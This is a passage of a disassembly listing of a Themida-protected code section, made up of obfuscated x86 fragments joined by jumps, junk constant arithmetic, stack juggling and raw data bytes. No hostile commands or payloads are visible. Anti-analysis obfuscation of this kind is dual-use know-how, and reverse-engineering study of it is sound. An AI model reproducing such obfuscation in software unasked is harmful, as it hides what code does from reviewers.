db 0
byte_554DFD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00550798o
dd 0BD685724h, 0E9000018h, 7BA8h
; ---------------------------------------------------------------------------
loc_554E0C: ; CODE XREF: Themida_:005520D0j
xor ecx, [esp]
mov esp, [esp]
mov cx, [esp]
push ebx
mov ebx, esp
jmp loc_553879
; ---------------------------------------------------------------------------
loc_554E1E: ; CODE XREF: Themida_:00562670j
dec eax
xor eax, 14542663h
shr eax, 7
not eax
shl eax, 5
add eax, 12591924h
add edx, eax
pop eax
jmp loc_5524C8
; ---------------------------------------------------------------------------
aUws db 'UWИэ#',0
align 10h
dd 83E9FD31h
db 88h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554E47: ; CODE XREF: Themida_:005534FEj
mov edi, 161222A5h
xor edi, 6DBB2B62h
dec edi
shr edi, 2
xor edi, 7AA47AD2h
xor edi, 6C2833D9h
mov esi, edi
jmp loc_563D47
; ---------------------------------------------------------------------------
loc_554E69: ; CODE XREF: Themida_:005533EBj
push 7ABDh
mov [esp], esp
sub esp, 4
jmp loc_55645B
; ---------------------------------------------------------------------------
loc_554E79: ; CODE XREF: Themida_:00555908j
mov edx, 362F1517h
add ebx, edx
pop edx
pop edi
jmp loc_5533A7
; ---------------------------------------------------------------------------
loc_554E87: ; CODE XREF: Themida_:0055DA5Cj
mov [esp], esi
push edi
push 18887B66h
pop edi
not edi
sub edi, 7E111F5Fh
mov esi, edi
pop edi
push edi
jmp loc_551189
; ---------------------------------------------------------------------------
loc_554EA2: ; CODE XREF: Themida_:005575E8j
push 538Ah
mov [esp], edi
mov edi, 4
add eax, 19771064h
add eax, 10A04EB0h
jmp loc_5659DF
; ---------------------------------------------------------------------------
dw 0D631h
dd 72E9F231h
db 0Ah, 1, 0
byte_554EC7 db 50h ; DATA XREF: Themida_:005506D0o
dd 0C3243481h, 8B7F6773h, 34E92404h, 5BFFFFE3h, 0E924048Fh
dd 10E16h, 4C6815Ch, 57000000h, 661CEFBFh, 0C8E78178h
dd 4F03B30Fh, 1F1BBA52h, 0D7217D29h, 32B9515Ah, 91E7A66h
dd 0EF8159CFh, 1E7A6E2Fh, 9BE9FE01h, 81000021h, 0F2E8EF2h
dd 2E2C11Bh, 0F7F2874Ah, 0D9D9E9D6h, 4890000h, 2B824h
dd 89530000h, 5BDF89C3h, 5FFE0158h, 4EC81h, 34890000h
dd 0F626E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554F46: ; CODE XREF: Themida_:0055B221j
mov ebx, ecx
pop ecx
jmp loc_55BE0A
; ---------------------------------------------------------------------------
loc_554F4E: ; CODE XREF: Themida_:00564621j
add esp, 4
not edx
jmp loc_55E72C
; ---------------------------------------------------------------------------
loc_554F58: ; CODE XREF: Themida_:0055B455j
mov esi, edx
pop edx
sub esi, 57DA5CB3h
xor esi, 344396Ah
jmp loc_5575A4
; ---------------------------------------------------------------------------
dd 2404895Ch, 5A2434FFh, 6DF068h, 0C5B3E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554F7E: ; CODE XREF: Themida_:0055A33Ej
mov esi, 4B1870B1h
neg esi
jmp loc_557773
; ---------------------------------------------------------------------------
dw 20E9h
dd 0B8FFFFBAh, 4, 80FEE9h
db 0
; ---------------------------------------------------------------------------
loc_554F99: ; CODE XREF: Themida_:0055AD0Dj
pop eax
xor eax, 73232CEh
jmp loc_564267
; ---------------------------------------------------------------------------
db 0C3h
aM0SB db '╛0ьИ"b',0 ; DATA XREF: Themida_:005506CCo
dd 241C3100h, 0FFD996E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554FB5: ; CODE XREF: Themida_:0056396Ej
inc edx
sub edx, 0D580C74Fh
sub eax, edx
pop edx
push dword ptr [esp]
jmp loc_5628A5
; ---------------------------------------------------------------------------
db 50h
dd 0F0E9E089h, 800006Eh, 665A66D1h, 6610E768h, 0B2241489h
dd 66D100F8h, 76F1805Ah, 28DFEE80h, 0DFC680CEh, 9E41E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554FF2: ; CODE XREF: Themida_:00556D46j
add ebx, edi
jmp loc_55E8D1
; ---------------------------------------------------------------------------
db 81h, 0EAh, 9Eh
dd 5F326F11h, 5C241487h, 2D42E9h
db 0
; ---------------------------------------------------------------------------
loc_555009: ; CODE XREF: Themida_:0055CE91j
push ebx
mov bl, 2Ah
jmp loc_55DDE2
; ---------------------------------------------------------------------------
loc_555011: ; CODE XREF: Themida_:0055F6EDj
sub esp, 4
mov [esp], esp
jmp loc_55E470
; ---------------------------------------------------------------------------
dd 240C8966h, 0CE00AFB1h, 69E95966h
db 2Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55502B: ; CODE XREF: Themida_:00559141j
push ebp
add dword ptr [esp], 7E6E787Bh
mov ebx, [esp]
add esp, 4
jmp loc_562A08
; ---------------------------------------------------------------------------
loc_55503E: ; CODE XREF: Themida_:00565BBBj
push edx
mov edx, esp
push 3834h
mov [esp], ecx
jmp loc_5610B3
; ---------------------------------------------------------------------------
dw 0F501h
dd 8324348Bh, 0A46804C4h, 8900000Ch, 2BF243Ch, 1000000h
dd 0B10E9FDh, 0C330001h, 240C3124h, 8B240C33h, 55532424h
dd 0FFE9D4E9h, 0E2C142FFh, 81DAF708h, 6BF825C2h, 1AAE90Bh
dd 0C6290001h, 6880C681h, 0C6814C32h, 43A30821h, 6AC0E958h
db 2 dup(0)
word_5550A2 dw 66ACh ; DATA XREF: Themida_:005507B0o
dd 0E9039268h, 5F79h, 68242C89h, 318C6A0Ah, 0D5F74D5Dh
dd 0E906EDC1h, 20BEh, 673825BBh, 0CB814365h, 14F220C3h
dd 1543F381h, 0DD0110C4h, 53DD875Bh, 5B240CFFh, 0BB53DD87h
dd 79BD590Ch, 283E381h, 0E3810A5Ah, 465E1B6Fh, 54C9EB81h
dd 0F38131F5h, 0E567D6C6h, 815BDD01h, 673F08C3h, 81EB014Eh
dd 673F08EBh, 242C8B4Eh, 0CBBFE9h, 0E3895300h, 4C381h
dd 0EB830000h, 3EFEE904h, 0E9590000h, 43FEh, 0D388C288h
dd 2C5A585Ah, 0BB64E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55513A: ; CODE XREF: Themida_:005527BAj
add ebp, esi
pop esi
neg ebp
jmp loc_55F2EB
; ---------------------------------------------------------------------------
loc_555144: ; CODE XREF: Themida_:00564F43j
push ebx
jmp loc_55A1C8
; ---------------------------------------------------------------------------
loc_55514A: ; CODE XREF: Themida_:00552371j
pop esi
jmp loc_5530D7
; ---------------------------------------------------------------------------
loc_555150: ; CODE XREF: Themida_:0055CA6Fj
sub esp, 4
mov [esp], ecx
mov ecx, esp
push eax
jmp loc_553D8D
; ---------------------------------------------------------------------------
db 89h, 3Ch, 24h
dd 0C781E789h, 4, 4A74E9h, 2CD10400h, 148B66E9h, 87C5E924h
dd 4ABB0000h, 81338C4Fh, 666055C2h, 81DA2956h, 666055EAh
dd 0F18E956h, 0DBF70000h, 4257F381h, 0CB8127FDh, 5FBA5A60h
dd 7FEBEB81h, 0DD017FFAh, 4C5835Bh, 8B242C87h, 48F2424h
dd 0EB3BE924h, 0E8C1FFFFh, 0EF13507h, 0C631112Ch, 0B7B85058h
dd 0E934C713h, 5CD1h
; ---------------------------------------------------------------------------
loc_5551D4: ; CODE XREF: Themida_:0055D8C8j
mov ecx, 86AAA9DCh
sub ecx, ebp
pop ebp
sub [esp+4], ecx
mov ecx, [esp]
add esp, 4
pop eax
push esi
mov esi, 455B2273h
add esi, 40C824BAh
jmp loc_55A22B
; ---------------------------------------------------------------------------
loc_5551FB: ; CODE XREF: Themida_:00559FBDj
add al, 96h
push ebx
push ecx
mov ch, 34h
sub ch, 0FFh
and ch, 0E4h
jmp loc_557343
; ---------------------------------------------------------------------------
dword_55520C dd 0E9240C31h, 331Ah ; DATA XREF: Themida_:0055079Co
; ---------------------------------------------------------------------------
loc_555214: ; CODE XREF: Themida_:00560737j
sub esp, 4
mov [esp], ebx
push 0F67914h
mov ebx, [esp]
push 28Ah
mov [esp], ecx
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
push ebp
mov ebp, 6A980C0Ch
not ebp
shl ebp, 6
neg ebp
shr ebp, 1
push edi
mov edi, 7F37C3A8h
xor ebp, edi
pop edi
xor ebx, ebp
jmp loc_557411
; ---------------------------------------------------------------------------
dd 885AD428h, 0E68058E6h, 3FF6807Bh, 148BF130h, 4C48324h
dd 0C05AF130h, 0C18007E9h, 0E9C83034h, 335Bh, 0BBE9F801h
dd 810000A6h, 4ECh, 24348900h, 0BC777CBEh, 49EA8139h, 295B1D13h
dd 49C281F2h, 5E5B1D13h, 61CE9h, 0C1815F00h, 1406CBDCh
dd 5683BE56h, 0C14E1B8Eh, 0C68102E6h, 76908D5h, 11C3F681h
dd 0E6D16E7Dh, 449CC681h, 0F029C9E0h, 5C8015Eh, 19F2AD8h
dd 0FFFAB1E9h, 0E95552FFh, 0FFFFD27Ch
; ---------------------------------------------------------------------------
loc_5552F4: ; CODE XREF: Themida_:005621BEj
pop ecx
add esp, 4
push eax
push ebx
push eax
mov al, 0Ch
add al, 93h
inc al
push ebx
mov bh, 93h
jmp loc_5602B1
; ---------------------------------------------------------------------------
db 81h, 0C6h, 2
dd 0E9000000h, 7CC5h, 6247BD55h, 0E9013B91h, 81242C8Bh
dd 4C4h, 0FFCB0100h, 57592434h, 0C781E789h, 4, 4C781h
dd 3C870000h, 0D832E924h, 0EE83FFFFh, 24348704h, 242C895Ch
dd 651468h, 0E532E900h, 875F0000h, 535C241Ch, 5E9E389h
db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555363: ; CODE XREF: Themida_:0055CBEAj
sub ebp, esi
pop esi
sub ebp, 70C82422h
add ebp, eax
add ebp, 70C82422h
sub esp, 4
mov [esp], ebx
jmp loc_556E20
; ---------------------------------------------------------------------------
dw 8B5Eh
dd 0C481242Ch, 4, 0FFEFB1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555391: ; CODE XREF: Themida_:0055C416j
xor eax, ecx
xor ecx, eax
xor eax, ecx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_55B34E
; ---------------------------------------------------------------------------
db 5Eh
dd 70F43540h, 0C229236Bh, 8324048Bh, 48B04C4h, 4C48324h
dd 8B241487h, 8B662424h, 1AE9240Ch
db 0E9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5553CF: ; CODE XREF: Themida_:005655A9j
push 6D7Fh
mov [esp], edx
mov edx, 27F3445Dh
inc edx
dec edx
and edx, 778A1306h
add edx, 8171C514h
push edx
push ebp
mov ebp, 0B0D0746h
jmp loc_5636BD
; ---------------------------------------------------------------------------
dw 1489h
dd 0E99C5024h, 0FFFFB5AFh
; ---------------------------------------------------------------------------
loc_555400: ; CODE XREF: Themida_:0055ACD2j
mov ebx, esp
add ebx, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], ebp
jmp loc_557B7F
; ---------------------------------------------------------------------------
dd 88FCEB80h, 0C0A2E9D9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55542A: ; CODE XREF: Themida_:00560B2Aj
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_55DC3F
; ---------------------------------------------------------------------------
dw 8F5Ah
dd 248B2404h, 0FC33024h, 61E9C0B6h, 8300001Ah, 0C30104C4h
dd 0A313E9h, 24043300h, 0E924248Bh, 108B1h
dword_55545C dd 240C8B66h ; DATA XREF: Themida_:005506F4o
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push 335Fh
mov [esp], edi
mov edi, 10A5436Eh
neg edi
jmp loc_5587C8
; ---------------------------------------------------------------------------
db 0E9h, 2Dh, 0B5h
dd 815DFFFFh, 4C5h, 0C76FE900h, 525AFFFFh, 18A005BAh, 0E9D001A0h
dd 0FFFFD339h, 4055854h, 83000000h, 48704C0h, 0F832E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5554AE: ; CODE XREF: Themida_:00553031j
push edi
jmp loc_55D61E
; ---------------------------------------------------------------------------
loc_5554B4: ; CODE XREF: Themida_:0055F444j
mov [esp], esp
add dword ptr [esp], 4
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], edi
push 4590h
mov [esp], esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ecx
push 4
pop ecx
push ebx
mov ebx, 579A68BAh
add dword ptr [esp+8], 14114104h
add [esp+8], ebx
sub dword ptr [esp+8], 14114104h
pop ebx
add [esp+4], ecx
sub dword ptr [esp+4], 579A68BAh
jmp loc_55F54A
; ---------------------------------------------------------------------------
aYSJ db 'Y]И ├',0
align 4
a1434S db '14$34$И)\',0
dw 100h
dd 0B7C381F3h, 0E92C3C6Eh, 0FFFFF045h
; ---------------------------------------------------------------------------
loc_555540: ; CODE XREF: Themida_:005604DAj
xchg ecx, [esp]
pop esp
add esi, 4
push ebp
mov ebp, 4
add esi, 63985D49h
add esi, 3C374030h
jmp loc_559DEC
; ---------------------------------------------------------------------------
loc_555561: ; CODE XREF: Themida_:00563604j
add edi, 72CC2B98h
jmp loc_55CDB4
; ---------------------------------------------------------------------------
dd 0C3805966h, 48B04EEh, 0D0B8E926h, 52660000h, 0FE00E9h
dd 9F20500h, 0D0013FF3h, 0F309F22Dh, 0CFE9553Fh
db 85h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555593: ; CODE XREF: Themida_:005522DCj
cmp cx, ax
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
loc_55559C: ; CODE XREF: Themida_:00557DEFj
xor esi, eax
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_552E45
; ---------------------------------------------------------------------------
dw 0C383h
dd 241C8704h, 4C4815Ch, 83000000h, 0BB5304C4h, 4, 1C8BDA01h
dd 4C48124h, 83000000h, 0C8904ECh, 9418E924h, 89660000h
dd 0EC832404h, 240C8904h, 0A668E1B1h, 8900000Dh, 7B7241Ch
dd 6608EFC0h, 0ABB55150h, 2059E888h, 48B66C7h, 3FF36824h
dd 3C890000h, 81E78924h, 4C7h, 2C78300h, 0FFD2C7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555615: ; CODE XREF: Themida_:0055EB4Fj
pop ebx
add edx, 9D842DCh
add edx, esi
sub edx, 9D842DCh
push ebx
mov ebx, 65500C0Fh
add edx, ebx
jmp loc_554A04
; ---------------------------------------------------------------------------
db 4Bh, 81h, 0C3h
dd 0E064C40Dh, 37E9DF01h
db 99h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55563F: ; CODE XREF: Themida_:005628C4j
add ebp, 4
sub esp, 4
mov [esp], edx
mov edx, 0A900499h
shl edx, 2
not edx
push 25Dh
mov [esp], ebx
mov ebx, 70A260CEh
not ebx
push esi
mov esi, 56515DABh
jmp loc_55A184
; ---------------------------------------------------------------------------
loc_555672: ; CODE XREF: Themida_:00556C20j
xor ebp, eax
pop eax
sub ebp, 2EA037Fh
mov ecx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_558DDD
; ---------------------------------------------------------------------------
loc_55568B: ; CODE XREF: Themida_:005520EFj
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add esi, ebx
pop ebx
jmp loc_553A1E
; ---------------------------------------------------------------------------
db 81h, 6Ch, 24h
dd 0BA611004h, 24742908h, 10685504h, 5D08BA61h, 8246C01h
dd 17BE9h, 50C28100h, 1466530h, 50EA81F2h, 81466530h, 0D81AD1C2h
dd 24348B0Bh, 5904C483h, 5E08950h, 4, 42Dh, 24048700h
dd 0CBB5E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5556EE: ; CODE XREF: Themida_:005619DDj
add esp, 4
mov edx, [esp]
add esp, 4
not eax
push eax
neg dword ptr [esp]
pop eax
not eax
xor eax, 5C4C4538h
sub eax, 2D3AAF8Fh
add ebp, eax
mov eax, [esp]
add esp, 4
add ebp, esi
sub ebp, 581F4A16h
jmp loc_5541BB
; ---------------------------------------------------------------------------
loc_555725: ; CODE XREF: Themida_:00565758j
push 97Bh
mov [esp], eax
pop esi
mov eax, [esp]
add esp, 4
xor ebx, esi
pop esi
jmp loc_559E92
; ---------------------------------------------------------------------------
db 5Ah
dd 5C241C87h, 0EB468h, 29F8E900h, 0D1F70000h, 0FFD5A3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555755: ; CODE XREF: Themida_:005605C9j
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push eax
mov eax, esp
add eax, 4
jmp loc_5619F2
; ---------------------------------------------------------------------------
loc_555772: ; CODE XREF: Themida_:0055FE1Ej
and ecx, eax
jmp loc_55B08A
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 81000000h, 4C7h, 4C78100h, 57000000h, 42474FFh, 0C2C8E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555796: ; CODE XREF: Themida_:00561BC1j
pop dword ptr [esp]
jmp loc_5536DB
; ---------------------------------------------------------------------------
dw 0C483h
dd 2434FF04h, 0E92434FFh, 54FCh, 1B5EBE56h, 0BEE935C7h
db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5557B7: ; CODE XREF: Themida_:005653DAj
add ebx, 7C242599h
inc ebx
jmp loc_55107A
; ---------------------------------------------------------------------------
db 28h
dd 0CF085AD1h, 592434FFh, 4C481h, 51660000h, 0FFC52FE9h
dd 81E289FFh, 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0CD0h
dd 0C3315B5Ah, 1167E9h
db 0
; ---------------------------------------------------------------------------
loc_5557F9: ; CODE XREF: Themida_:0055E939j
push ebp
mov ebp, 4
sub edi, ebp
pop ebp
jmp loc_55E20C
; ---------------------------------------------------------------------------
db 81h
dd 8A6778C3h, 8BDD29A2h, 0BE9241Ch, 500000DBh, 0D4F609B4h
dd 8006ECC0h, 52E99FF4h
db 0C9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555827: ; CODE XREF: Themida_:0055B472j
neg ebp
jmp loc_55AA55
; ---------------------------------------------------------------------------
loc_55582E: ; CODE XREF: Themida_:0055A0A5j
pop esp
mov [esp], edi
push eax
jmp loc_5624B6
; ---------------------------------------------------------------------------
dd 2434FF5Dh, 0D3FCE9h
db 0
; ---------------------------------------------------------------------------
loc_555841: ; CODE XREF: Themida_:00557437j
not eax
jmp loc_556586
; ---------------------------------------------------------------------------
loc_555848: ; CODE XREF: Themida_:0055A370j
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], edx
mov edx, 6DEA0329h
push edi
sub esp, 4
mov [esp], ebp
mov ebp, 6F784856h
push ebp
sub dword ptr [esp], 29D91FC0h
pop edi
add edi, 29D91FC0h
jmp loc_55AE6F
; ---------------------------------------------------------------------------
db 1, 0D1h, 5Ah
dd 5C240C87h, 0FF2434FFh, 76E92434h
db 0F4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55589B: ; CODE XREF: Themida_:005532D9j
mov eax, ebx
pop ebx
push edx
mov edx, 7C4007A3h
not edx
dec edx
jmp loc_55E84B
; ---------------------------------------------------------------------------
loc_5558AC: ; CODE XREF: Themida_:00560A46j
push ebx
mov ebx, 15906685h
add ebx, 2F6249EDh
xor ebx, 43DBB6ADh
add ecx, ebx
pop ebx
push edx
mov edx, 7CF05D42h
shl edx, 6
xor edx, 5F715003h
jmp loc_565965
; ---------------------------------------------------------------------------
db 58h, 0E9h, 0FDh
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5558DB: ; CODE XREF: Themida_:00562C18j
mov eax, 2Ch
push eax
push esi
mov esi, 667A31F0h
add [esp+4], esi
jmp loc_5542EA
; ---------------------------------------------------------------------------
dd 1483685Dh, 1C890000h, 37ECE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5558FE: ; CODE XREF: Themida_:00557E3Dj
pop edx
sub ebx, 362F1517h
add ebx, edi
push edx
jmp loc_554E79
; ---------------------------------------------------------------------------
loc_55590D: ; CODE XREF: Themida_:00561871j
sub eax, edx
pop edx
add esi, eax
pop eax
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
shr eax, 0Eh
jmp loc_562E19
; ---------------------------------------------------------------------------
db 68h
dd 95Ah, 0BA241489h, 0
dd 0E94E9h
db 0
; ---------------------------------------------------------------------------
loc_555939: ; CODE XREF: Themida_:00563B1Dj
test cl, al
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
aRitusS db 'R┴БUИ|≥',0
align 2
dw 42Dh
dd 87000000h, 895C2404h, 0B2E9241Ch, 8BFFFFDDh, 2C68242Ch
dd 89000060h, 0E789243Ch, 4C781h, 0C7830000h, 243C8704h
dd 0FFC1315Ch, 57E92434h, 810000BFh, 88020AEEh, 2434FF35h
dd 4C48159h, 33000000h, 34312434h, 24343324h, 0CFF665Ch
dd 0CE99C24h, 55FFFFB0h, 0C684E9h, 0E9585B00h, 3E3Ch
; ---------------------------------------------------------------------------
loc_5559B0: ; CODE XREF: Themida_:00559FB6j
sub edx, 4EF3201Dh
mov ecx, [esp]
jmp loc_55A754
; ---------------------------------------------------------------------------
dw 8159h
dd 4ECh, 24048900h, 815E9h
db 0
; ---------------------------------------------------------------------------
loc_5559CD: ; CODE XREF: Themida_:0056311Ej
sub edi, 325A0A39h
xor edi, 25BE1D0Ch
jmp loc_554AE9
; ---------------------------------------------------------------------------
dw 3C89h
dd 4EC8124h, 89000000h, 88E9240Ch
db 0F5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5559EF: ; CODE XREF: Themida_:0055F83Fj
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
jmp loc_564CAC
; ---------------------------------------------------------------------------
db 89h, 0F8h, 0E9h
dd 0FFFFC22Bh, 5BC06855h, 815D5F92h, 925BBCEDh, 5DEB895Fh
dd 1568C781h, 58E91A6Eh
db 50h, 2 dup(0)
byte_555A1F db 0FFh ; DATA XREF: Themida_:0055089Co
dd 34FF2434h, 0DC3E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555A2A: ; CODE XREF: Themida_:00563A80j
pop eax
pop ecx
sub ecx, edi
pop edi
jmp loc_554861
; ---------------------------------------------------------------------------
loc_555A34: ; CODE XREF: Themida_:00560F1Cj
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
popa
popf
retn
; ---------------------------------------------------------------------------
dd 0FFAF6AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555A45: ; CODE XREF: Themida_:005598D8j
push dword ptr [ebx]
sub esp, 4
jmp loc_558092
; ---------------------------------------------------------------------------
loc_555A4F: ; CODE XREF: Themida_:0055F172j
push eax
mov eax, 0
sub eax, 56AE3B18h
add eax, ebx
add eax, 56AE3B18h
add dword ptr [eax], 1
jmp loc_557752
; ---------------------------------------------------------------------------
loc_555A6C: ; CODE XREF: Themida_:00554CF2j
push dword ptr [esp]
pop ecx
jmp loc_5545FA
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 1BF568h, 24248900h, 4240481h, 0FF000000h, 348B2434h
dd 0E7895724h, 4C781h, 0D0E90000h, 8B00004Bh, 0C4832404h
dd 23C46804h, 2C890000h, 29E95124h
db 0D6h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555AAF: ; CODE XREF: Themida_:0055FC27j
push 3814h
mov [esp], eax
jmp loc_5620B2
; ---------------------------------------------------------------------------
dd 133D8905h, 55D8013Eh, 0B7B1E9h, 2D966800h, 24890000h
dd 24048324h, 24048F04h, 4B850h, 6C810000h, 4AE30424h
dd 44011053h, 0E9510424h, 0BC46h, 861D7DBAh, 0EAC14A69h
dd 5DF28102h, 81143071h, 1383EFEAh, 19AE9D7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555B0A: ; CODE XREF: Themida_:0055F0DAj
inc edi
dec edi
shl edi, 5
xor edi, 0E77791Ch
add edi, 5C9F97E9h
mov esi, edi
pop edi
add esi, edx
pop edx
add edi, esi
pop esi
jmp loc_561C15
; ---------------------------------------------------------------------------
loc_555B29: ; CODE XREF: Themida_:00563898j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push ebx
mov ebx, 4
sub ebp, 41C1Eh
add ebp, ebx
add ebp, 41C1Eh
pop ebx
push esi
push ebp
jmp loc_557B9C
; ---------------------------------------------------------------------------
loc_555B57: ; CODE XREF: Themida_:0055EB1Bj
pop ebp
mov ecx, [esp]
add esp, 4
jmp loc_55802F
; ---------------------------------------------------------------------------
dw 0C181h
dd 451213FCh, 4EBBB850h, 0C1210914h, 81414158h, 27BF1E9h
dd 0B4C38162h, 14E5549h, 0B4EB81CBh, 594E5549h, 1C8BDE01h
dd 4C48124h, 83000000h, 343304C6h, 0F986E924h, 8758FFFFh
dd 248B2414h, 24048F24h, 5524248Bh, 0E904EC83h, 0FFFFAFD3h
dd 0F1865866h, 741968h, 24148900h, 0EA8000B2h, 0D399E9FAh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555BCE: ; CODE XREF: Themida_:00557AD7j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
add eax, ecx
add [eax], esi
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_558B40
; ---------------------------------------------------------------------------
db 83h
dd 1C8704C3h, 24248B24h, 51C8AF0Fh, 0ADADE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555C02: ; CODE XREF: Themida_:005611EEj
mov [esp], esi
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
pop esi
push edx
mov edx, esp
jmp loc_55FD8B
; ---------------------------------------------------------------------------
db 5Ch
dd 7DBE5653h, 0C10AE918h, 0D4E903E6h, 83000068h, 5F042404h
dd 3A76E955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555C32: ; CODE XREF: Themida_:005566C1j
neg eax
add eax, 52300B68h
add ebx, 67EB1305h
add ebx, eax
jmp loc_56591B
; ---------------------------------------------------------------------------
aN1Sc db '╜1ьИФт',0 ; DATA XREF: Themida_:00550814o
align 2
aSS_4 db '\И(s',0
align 4
dd 0A348780Dh, 6D410D59h, 0E0D15CA9h, 0F6DEF635h, 75BE9FFh
dd 14870000h, 24248B24h, 0E9240489h, 0B2A9h, 0D4BE5653h
dd 51604E49h, 0BA7FE957h, 505C0000h, 1356FB8h, 8E0C14Dh
dd 85F1E9h, 0B8505700h, 0F61DE049h, 0E958C789h, 0ED34h
dd 815AD589h, 0D1AE28C5h, 5DEE297Fh, 34FFF529h, 2434FF24h
dd 4C4815Eh, 83000000h, 0FF5504C4h, 5D042474h, 5C24048Fh
dd 54241489h, 3091E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555CD6: ; CODE XREF: Themida_:00552120j
mov edx, 7E55476Fh
add ecx, edx
mov edx, [esp]
add esp, 4
shl ecx, 1
dec ecx
xor ecx, 225C7EC7h
sub edx, 135E00A1h
add edx, ecx
add edx, 135E00A1h
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_565A5E
; ---------------------------------------------------------------------------
dd 2C481h, 0D6F60000h, 72E9C6FEh, 5FFFFFEEh, 6F5D4405h
dd 0E9F00137h, 90C8h, 5DD1685Ch, 4890000h, 762FE924h, 8B540000h
dd 8950240Ch, 405E0h, 0C0830000h, 24048704h, 4C1815Ch
dd 68000000h, 732h, 57242C89h, 0A807A0BFh, 73BB5357h, 814B1377h
dd 0F92CFCEBh, 5BDF294Ah, 0C232E9h
db 0
; ---------------------------------------------------------------------------
loc_555D71: ; CODE XREF: Themida_:00561C38j
pop dword ptr [esp]
pop esp
btc [esp], ax
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
dword_555D80 dd 184068h, 243C8900h, 0BD13E9h, 5DE80100h, 730BB905h
; DATA XREF: Themida_:00550794o
dd 24148B39h, 5E08950h, 4, 8704C083h, 0E95C2404h, 0F581h
dword_555DAC dd 683C77FFh, 4792h, 0E9243C89h, 1A99h, 0E281D2F7h, 542D60A5h
; DATA XREF: Themida_:0055073Co
dd 294BEA81h, 0D101D681h, 829CE9h
db 0
; ---------------------------------------------------------------------------
loc_555DD1: ; CODE XREF: Themida_:005535B7j
xchg ebx, [esp]
pop esp
jmp loc_557BDB
; ---------------------------------------------------------------------------
loc_555DDA: ; CODE XREF: Themida_:005561A1j
xor edx, 976A6B16h
add ebx, edx
mov edx, [esp]
jmp loc_558318
; ---------------------------------------------------------------------------
dw 5056h
dd 405E089h, 2D000000h, 4, 5C240487h, 0E9242489h, 0FF9h
; ---------------------------------------------------------------------------
loc_555E04: ; CODE XREF: Themida_:00556390j
xchg ebp, [esp]
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
jmp loc_550C13
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
dd 0FFC99EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555E21: ; CODE XREF: Themida_:0055BF9Bj
push eax
mov eax, 0D383965h
shl eax, 3
sub eax, 0BDD0181Ch
jmp loc_55FEA1
; ---------------------------------------------------------------------------
dd 6EE9FD88h, 5FFFFFFBh, 555F5457h, 4BDh, 5DEF0100h, 8704EF83h
dd 895C243Ch, 0B5E92404h
db 95h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555E57: ; CODE XREF: Themida_:0055BE0Fj
add esp, 4
jmp loc_55DA7D
; ---------------------------------------------------------------------------
byte_555E5F db 66h ; DATA XREF: Themida_:00550924o
